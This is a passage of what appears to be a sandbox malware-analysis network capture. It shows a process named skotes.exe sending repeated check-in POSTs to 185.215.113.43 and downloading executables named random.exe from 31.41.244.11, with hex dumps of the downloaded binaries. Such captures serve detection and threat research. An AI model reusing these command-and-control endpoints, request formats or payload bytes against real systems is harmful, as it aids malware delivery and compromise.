Dec 18, 2024 11:47:27.141340971 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 11:47:27.141354084 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 11:47:27.141437054 CET	672	IN	Data Raw: 40 d1 0e 58 48 1a 15 f9 cb 02 9f 5e a0 68 44 21 bd 34 15 4a 31 93 90 59 52 bd 7d 5e 36 74 ba f9 f1 be 74 a9 7a 41 8f 5b 10 3a c4 fd da f1 9d b1 02 72 bc 6e 2d 13 39 f9 9c 61 19 bf c0 58 9d e6 35 96 92 57 8d cd a3 4d 88 89 24 b8 ad 1e d3 36 8b f9 Data Ascii: @XH^hD!4J1YR}^6ttzA[:rn-9aX5WM$68MjC+Y$\0H#A`\ucOKZt/6TY(t'ltTreVY$_=0GJH'0moY-\|=LX`5Vm.
Dec 18, 2024 11:47:27.141449928 CET	1236	IN	Data Raw: fb 22 15 d7 be 7a c3 a8 0c 69 b9 b8 cc 03 d3 0f a1 a9 7c c5 db db b1 9a 7d 6e c9 67 da eb a4 69 1b 8f 23 9a 17 68 bb 91 34 30 67 97 f9 1f 49 dd 9a 83 eb 53 5c 18 ff b4 e3 ec a0 61 49 4a 75 27 04 28 1d 93 c0 66 5c 99 3f ca 74 b3 51 8c dc 58 24 ad Data Ascii: "zi\|}ngi#h40gIS\aIJu'(f\?tQX$0:NYHM]bBq]OXV3'NSX,Vn$dl5`cv8":'"/6m[_>zgi1CuzeteTue.$B+r
Dec 18, 2024 11:47:27.141562939 CET	224	IN	Data Raw: cd 27 a5 f9 55 8f bf 70 19 42 1b dd cc 10 4f 4d fd b2 44 84 2d cf b4 86 9d 3c db 46 88 58 e1 e5 45 b5 bc 56 84 f1 a3 47 34 f4 c3 58 8c 72 52 b3 f1 66 1c 0f dc 13 b2 6a cc 6e 17 11 5a ae a4 76 cd 8f 9a f7 2d de 8c eb d4 30 58 9b 60 a1 48 dd b3 e5 Data Ascii: 'UpBOMD-<FXEVG4XrRfjnZv-0X`H\]ABZehhKY$0YH{s[X`__($:uE't:*r=@TI&I'<t.t`Y
Dec 18, 2024 11:47:27.141573906 CET	1236	IN	Data Raw: e2 d0 d5 c7 cd b2 ba d1 78 0e 32 fa bb 25 dc b3 d6 d2 c6 cc 62 9d c3 6e 3e 53 79 4b 47 61 ae 17 6b f1 21 a6 c6 27 bc 29 d7 17 8f 55 18 51 6c f5 c8 d0 47 57 40 b2 27 d1 75 ea 81 92 bc 45 45 1e d6 38 d1 ca 8b 60 39 75 a6 df 31 93 3b 74 df a8 5c d5 Data Ascii: x2%bn>SyKGak!')UQlGW@'uEE8`9u1;t\tX5"6ulITjd:?jaa3B-oSX]jVI>4LSS1e410SaD}bTn`as,iaARx6hwn.$0}09H
Dec 18, 2024 11:47:27.141585112 CET	224	IN	Data Raw: b6 e1 57 78 8a 58 77 e6 ef 96 b8 56 f7 90 99 9f 34 b0 c3 08 71 cd 53 28 76 bc 42 ee 5d e2 aa 85 6e 98 64 1b d6 e5 b8 8d c8 e1 02 57 f2 5d 52 6d f2 22 8b a4 41 1e d1 4e 26 78 cf 75 c4 0e 8e 93 5c 74 eb 42 50 13 75 48 8e 6d 8e 99 18 da 1e 29 a0 d0 Data Ascii: WxXwV4qS(vB]ndW]Rm"AN&xu\tBPuHm)k\|f:<r&chnj}x]\?700u7Iek@'cJWVgt4-T
Dec 18, 2024 11:47:27.261195898 CET	1236	IN	Data Raw: 34 e2 ac ee da d5 3b 9b d0 68 a7 d9 56 35 15 fd a6 d8 c2 59 24 5c 2f 6c b1 30 16 24 0b 01 49 dd 00 5d e9 ca 5c 2c a3 2d b4 ec cc 59 a9 1c b3 15 4f bd bd 49 a0 68 72 1b 86 4b 15 fb 7a c1 20 59 24 34 43 8a 96 30 c9 c7 eb e3 48 dd e0 5a 62 ef 5c 78 Data Ascii: 4;hV5Y$\/l0$I]\,-YOIhrKz Y$4C0HZb\x7X+jh>(n*PY$iC0?hH\;P$hu^Q/[-zceXCV3oS4a#toYz M--g3s%X@nTP~@$Jw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49855	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:47:32.785681963 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 38 37 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016876001&unit=246122658369
Dec 18, 2024 11:47:34.121493101 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:47:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49859	31.41.244.11	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:47:34.243125916 CET	59	OUT	GET /files/dodo/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 11:47:35.564080954 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:47:35 GMT Content-Type: application/octet-stream Content-Length: 765568 Last-Modified: Tue, 17 Dec 2024 09:46:16 GMT Connection: keep-alive ETag: "67614868-bae80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0b 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 80 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bss`@
Dec 18, 2024 11:47:35.564110041 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 11:47:35.564121962 CET	1236	IN	Data Raw: ec 30 8b 5c 24 44 a1 c0 57 42 00 31 e0 89 44 24 2c 8b 43 3c 8b 6c 18 78 8b 44 1d 18 85 c0 0f 84 4f 01 00 00 8b 4c 1d 20 01 d9 89 4c 24 08 48 89 44 24 10 c7 04 24 00 00 00 00 89 5c 24 04 89 6c 24 0c 8b 44 24 08 8b 30 01 de 0f 57 c0 f2 0f 11 44 24 Data Ascii: 0\$DWB1D$,C<lxDOL L$HD$$\$l$D$0WD$$WD$V(w"\|$$D$(WVt$VfSCErPPD$\|$$l$(WVPe\$Dl$t$h5Vm
Dec 18, 2024 11:47:35.564208031 CET	1236	IN	Data Raw: f0 68 6d 64 85 93 ff 35 6c 64 42 00 e8 16 fb ff ff 83 c4 08 89 45 e4 8b 55 e4 ff d2 bb 49 05 00 00 be 11 50 42 00 6a 11 68 00 50 42 00 53 56 e8 96 fc ff ff 83 c4 10 6a 0a 68 00 c0 41 00 57 8b 7d 08 57 e8 82 fc ff ff 83 c4 10 68 01 dc af 8a ff 35 Data Ascii: hmd5ldBEUIPBjhPBSVjhAW}Wh5ldBMQj@SVuM11^_[]}uVPB'jT9BUSWV,\$@WB1D$(d=0w@ldBhb-/5ldBE(AD$
Dec 18, 2024 11:47:35.564220905 CET	1236	IN	Data Raw: 42 00 31 e0 89 44 24 08 8b 01 8b 40 04 8b 7c 01 38 85 ff 74 48 89 e3 89 d9 56 e8 1a ff ff ff 80 7b 04 00 74 31 8b 07 89 f9 ff 50 34 83 f8 ff 0f 94 c0 8b 0e 8b 51 04 8d 0c 16 83 7c 16 38 00 0f 94 c4 08 c4 0f b6 c4 c1 e0 02 0b 44 16 0c 6a 00 50 e8 Data Ascii: B1D$@\|8tHV{t1P4Q\|8DjPnL$1^_[WV D$,WB1T$A#AuL$1 ^_\|$0t1PP?BBDBD@Bt$RWhABV?
Dec 18, 2024 11:47:35.564232111 CET	1236	IN	Data Raw: 78 01 81 ff 00 10 00 00 72 14 8b 51 fc 83 c1 fc 29 d1 83 f9 20 73 33 83 c0 24 89 c7 89 d1 57 51 e8 49 0a 00 00 83 c4 08 c7 06 5c c3 41 00 8b 4c 24 18 31 e1 e8 74 0a 00 00 89 f0 83 c4 1c 5e 5f 5b 5d c2 0c 00 e8 fd f8 ff ff e8 00 95 00 00 55 89 e5 Data Ascii: xrQ) s3$WQI\AL$1t^_[]USWV0WB1EUP WCWCzzrMw{C JUCE@rP\|P\C{MK GWuP
Dec 18, 2024 11:47:35.564356089 CET	1236	IN	Data Raw: 00 00 00 83 c4 04 8b 10 89 c1 56 ff 52 20 89 c3 8b 4f 04 85 c9 74 11 8b 01 ff 50 08 85 c0 74 08 8b 10 89 c1 6a 01 ff 12 8b 4c 24 08 31 e1 e8 a6 05 00 00 89 d8 83 c4 0c 5e 5f 5b c2 04 00 53 57 56 83 ec 0c 8b 74 24 1c a1 c0 57 42 00 31 e0 89 44 24 Data Ascii: VR OtPtjL$1^_[SWVt$WB1D$L$j\|dB$eBdPu3u-VPt94$VP<$=\|dBL$bL$1^_[WVWB1D$9u&j
Dec 18, 2024 11:47:35.564368010 CET	1236	IN	Data Raw: 68 6a b8 41 00 e8 be 01 00 00 59 c3 56 57 6a 01 e8 33 5e 00 00 59 bf 10 66 42 00 8b f0 8b cf e8 0d 0f 00 00 6a 00 56 8b cf c7 05 10 66 42 00 cc cb 41 00 e8 69 1a 00 00 68 74 b8 41 00 e8 86 01 00 00 59 5f 5e c3 6a 01 6a 00 68 10 66 42 00 b9 c0 65 Data Ascii: hjAYVWj3^YfBjVfBAihtAY_^jjhfBeBh~AeYeBiBhAEYhA9YUueYtu(Yt]} 1UuY]UEV AtjVYY^
Dec 18, 2024 11:47:35.564378977 CET	1236	IN	Data Raw: 01 8b 45 08 89 41 04 89 0d a4 65 42 00 c9 c3 e8 0a 04 00 00 cc 56 57 8b 79 04 8b 07 8b 70 08 8b ce ff 15 10 37 42 00 8b cf ff d6 8b f8 85 ff 74 12 8b 0f 6a 01 8b 31 8b ce ff 15 10 37 42 00 8b cf ff d6 5f 5e c3 56 eb 15 8b 06 8b ce a3 a4 65 42 00 Data Ascii: EAeBVWyp7Btj17B_^VeBV0Y5eBu^UVjjuYYSBEQN$AEtPjlYYBEQN,^]UEx$tp$j>YY]USW}9;t>;t3Y#t*
Dec 18, 2024 11:47:35.564393044 CET	1236	IN	Data Raw: ff c7 06 60 cb 41 00 8b c6 5e c9 c2 04 00 55 8b ec 56 ff 75 08 8b f1 e8 93 e6 ff ff c7 06 60 cb 41 00 8b c6 5e 5d c2 04 00 55 8b ec 51 56 ff 75 08 8b f1 89 75 fc e8 b1 fe ff ff c7 06 a8 c3 41 00 8b c6 5e c9 c2 04 00 83 61 04 00 8b c1 83 61 08 00 Data Ascii: `A^UVu`A^]UQVuuA^aaAB$AUEM#P+w]{AQvRPPQEAQvPRPQ+UE9EtQvPuRQ]UUv<=At3
Dec 18, 2024 11:47:35.683933020 CET	1236	IN	Data Raw: ff 75 08 8b 40 04 c7 04 06 7c cb 41 00 8b 06 8b 48 04 8d 41 f8 89 44 31 fc 8b 06 8b 48 04 03 ce e8 d7 fe ff ff 8b c6 e8 e1 1b 00 00 c2 0c 00 55 8b ec 56 8d 71 f8 8b ce e8 17 00 00 00 f6 45 08 01 74 0a 6a 50 56 e8 ff f1 ff ff 59 59 8b c6 5e 5d c2 Data Ascii: u@\|AHAD1HUVqEtjPVYY^]UjhAdPWB3PEdQ@D\|AHADeRlAYMdYjA3Aj^^^^^^^^ ^$^(^,^0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49873	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:47:39.493190050 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 38 37 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016877001&unit=246122658369
Dec 18, 2024 11:47:41.298697948 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:47:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49878	31.41.244.11	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:47:41.422080994 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 11:47:42.741074085 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:47:42 GMT Content-Type: application/octet-stream Content-Length: 4466688 Last-Modified: Wed, 18 Dec 2024 10:17:55 GMT Connection: keep-alive ETag: "6762a153-442800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e0 55 60 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 3e 44 00 00 2e 64 00 00 32 00 00 00 30 b6 00 00 10 00 00 00 50 44 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 60 b6 00 00 04 00 00 e5 ce 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 61 00 73 00 00 00 00 80 61 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c 1b b6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dc 1a b6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELU`g(>D.d20PD@`D@ _asa, pa>(@.rsrcaN(@.idata aP(@ 8aR(@ahvfevpipT(@qgsnhtie D@.taggant00"D@
Dec 18, 2024 11:47:42.741102934 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 11:47:42.741115093 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 11:47:42.741153002 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 11:47:42.741168022 CET	896	IN	Data Raw: 62 51 31 de 75 1a e8 6d ca 82 b4 c3 fb c2 61 8e 9e fc fe 81 9e 88 9d 6b ac 42 d2 59 ed 3d 7b f5 a2 71 0a 86 f0 ec d9 b6 c4 e4 0e 41 c1 dc 19 de 98 ce a8 f5 7b d7 ea 6b 1e be 1e 6c aa 8c 1e 77 82 ab 29 03 53 dd cd 54 a5 04 89 ae 54 7f 70 6c 86 d1 Data Ascii: bQ1umakBY={qA{klw)STTplf7?\?j.btK_lm\|]5${-!>Z/Z~iBqrKB`iA[nPO$lQr*aeg~"#<peRKT=/^g'"i
Dec 18, 2024 11:47:42.741283894 CET	1236	IN	Data Raw: 8d fa 2a 1d 9c db 00 ff b0 6f 62 7a 27 6a 1a 0e 75 29 70 9b e7 ab 68 76 5a a4 6a c2 61 3d c7 4d 42 f3 be 24 74 04 3e 12 af f5 30 5d 1e f1 f2 68 f6 71 cd c5 4c df 92 cb 5b e1 9f 2e 5a 13 51 0a e9 fb 66 78 48 1f 9b 72 0a 3f d7 3c 36 42 6e 80 cf 7c Data Ascii: *obz'ju)phvZja=MB$t>0]hqL[.ZQfxHr?<6Bn\|"^2?RQ[Xm1h{l%xmf#ZTJYadld=Z\|OwixNMW;WY[E@>`QJ%`muGf.Ma]`skKgV
Dec 18, 2024 11:47:42.741311073 CET	1236	IN	Data Raw: 77 74 e6 c2 ad 00 a6 2c e6 6e 58 c5 f2 a1 d7 06 58 fe 8d 54 c7 04 b9 da cc e1 ba ac ef 2e 20 e1 dd 3f 67 12 ea a7 4f 73 c5 bf e9 2e 8f ef cd 36 d5 26 a0 e0 07 cc 60 11 3d 42 21 c7 8c 75 63 bf 81 57 cd 2a 3b 81 4c f7 78 2b 7c 98 47 d3 b5 5a e3 8c Data Ascii: wt,nXXT. ?gOs.6&`=B!ucW;Lx+\|GZj.H4 ZSbyjyBh-8M<M{pRRBGzVkVcAFn1hJ=w^h^_3<<^ZCw=ypZ<
Dec 18, 2024 11:47:42.741322994 CET	1236	IN	Data Raw: 8a 73 47 a2 23 40 e5 64 b9 1e b3 5c 26 95 8a 8c a2 04 58 af 48 38 3f ed b5 1f 80 d1 b9 f3 de cc fe d9 95 a0 65 3b 84 ba 5c b2 91 d7 64 8b e1 a6 aa 2f 4d 92 4e d1 cd f9 3c c0 b0 5b b6 f8 4e 97 b2 5f fb ed a4 20 63 5f 13 ec 1f 2c b3 3e b1 ff 57 3d Data Ascii: sG#@d\&XH8?e;\d/MN<[N_ c_,>W=SM+L[? 1fkW?K*M!h.louF'LX1$dZ@r^PJ\|d-5B8lfc`cMZWNsaP
Dec 18, 2024 11:47:42.741420984 CET	1236	IN	Data Raw: fe 71 01 cc c5 44 c6 62 a6 e0 4b f5 95 d2 55 39 4b 01 f6 75 e4 0f 30 9c fb 36 18 74 b4 e5 2e 2f be e1 57 07 cc 82 39 dc 25 ff a5 4c 8c c1 ef 58 0e 33 ae f4 2a 48 b8 17 2d d5 9e cd 98 02 e8 e8 82 f1 af 43 9c dd ee c6 c4 42 5d 4d fa e4 09 5b b9 28 Data Ascii: qDbKU9Ku06t./W9%LX3*H-CB]M[(pz HIZ,1/w#Y,m(%TR3@X\|0ZpdhM-pk05OhhnJ~C6a=>sB
Dec 18, 2024 11:47:42.741432905 CET	1236	IN	Data Raw: 96 93 3d f2 a9 8f 6f f5 8f 55 b2 95 65 9b af 26 1f 6a 99 d3 08 04 87 13 2d e7 8d 6e fb d6 c6 0d 52 a5 95 05 50 f3 c9 3a 95 4f 3a ed 16 b4 4d 03 18 9c 4e 7e 36 8a 2c 49 d2 82 35 fd 10 fc 70 79 7c d7 93 6c 68 86 2e 17 92 4b 8b 7f f7 d4 85 f5 f4 d4 Data Ascii: =oUe&j-nRP:O:MN~6,I5py\|lh.Ki?wX`n/w^{vm5c<J6/wLkL,&b{db3Cz!j$DcGOCtYv!MhnHwO{?{XDBy%'A/
Dec 18, 2024 11:47:42.861066103 CET	1236	IN	Data Raw: 93 e7 50 a3 c5 fa 97 1d e3 19 48 e1 7c 0f 0f 14 af f7 33 b3 30 57 65 2c 63 e5 8d c7 e1 bb 34 72 eb 0c 9f 7f e1 ac 62 a8 ad 90 f2 03 ea fd 46 43 fe 0a c1 5e e2 f7 1a c6 f7 56 92 97 6a a6 4d 70 1d ff 62 fa 8d 0c 95 03 07 74 2c 6b a0 91 5f 73 2c 8e Data Ascii: PH\|30We,c4rbFC^VjMpbt,k_s,>kEOyzy6w0]uB/$7gfiG9O/2_XLe$1bSQ3;\|gE5@;\70L}CmE/{GP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49906	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:47:52.225466967 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 38 37 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016878001&unit=246122658369
Dec 18, 2024 11:47:53.569057941 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:47:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49910	31.41.244.11	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:47:53.692250013 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 11:47:55.009430885 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:47:54 GMT Content-Type: application/octet-stream Content-Length: 776832 Last-Modified: Tue, 17 Dec 2024 09:45:14 GMT Connection: keep-alive ETag: "6761482a-bda80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bssp@
Dec 18, 2024 11:47:55.009485960 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 11:47:55.009497881 CET	448	IN	Data Raw: ec 30 8b 5c 24 44 a1 c0 57 42 00 31 e0 89 44 24 2c 8b 43 3c 8b 6c 18 78 8b 44 1d 18 85 c0 0f 84 4f 01 00 00 8b 4c 1d 20 01 d9 89 4c 24 08 48 89 44 24 10 c7 04 24 00 00 00 00 89 5c 24 04 89 6c 24 0c 8b 44 24 08 8b 30 01 de 0f 57 c0 f2 0f 11 44 24 Data Ascii: 0\$DWB1D$,C<lxDOL L$HD$$\$l$D$0WD$$WD$V(w"\|$$D$(WVt$VfSCErPPD$\|$$l$(WVPe\$Dl$t$h5Vm
Dec 18, 2024 11:47:55.009582996 CET	1236	IN	Data Raw: 00 02 00 00 31 c9 88 8c 0c 00 01 00 00 89 c8 99 f7 fe 8a 04 17 88 04 0c 41 81 f9 00 01 00 00 75 e5 31 c0 31 c9 8a 94 04 00 01 00 00 00 d1 02 0c 04 0f b6 f1 8a b4 34 00 01 00 00 88 b4 04 00 01 00 00 88 94 34 00 01 00 00 40 3d 00 01 00 00 75 d4 83 Data Ascii: 1Au1144@=u$1111QQQ(9BCIuhMBheB~P:C$09G9$
Dec 18, 2024 11:47:55.009594917 CET	1236	IN	Data Raw: c4 0c 01 e7 83 c7 10 eb 4b 89 f9 83 c9 0f 83 f9 17 be 16 00 00 00 0f 43 f1 8d 46 01 81 f9 ff 0f 00 00 72 08 50 e8 0f 01 00 00 eb 06 50 e8 ef 11 00 00 83 c4 04 89 c3 89 44 24 10 89 7c 24 20 89 74 24 24 57 55 50 e8 c4 5f 00 00 83 c4 0c 01 df 8d 5c Data Ascii: KCFrPPD$\|$ t$$WUP_\$h5SmD$$r1L$prQ) $VQTWuED$D$E$(L$I!UW49BD$$4$t$
Dec 18, 2024 11:47:55.009605885 CET	1236	IN	Data Raw: 51 e8 8c 44 00 00 83 c4 08 c7 06 88 c3 41 00 f2 0f 10 47 0c f2 0f 11 46 0c 89 f0 5e 5f c2 04 00 cc 56 89 ce 8b 44 24 08 c7 01 28 c1 41 00 83 c1 04 31 d2 89 56 08 89 56 04 83 c0 04 51 50 e8 4f 44 00 00 83 c4 08 c7 06 a8 c3 41 00 89 f0 5e c2 04 00 Data Ascii: QDAGF^_VD$(A1VVQPODA^xdBdBd,;`VBhxdBP=xdBuh@hxdB\|V\|$tV^BUSWVPt$D$uJWFFj \
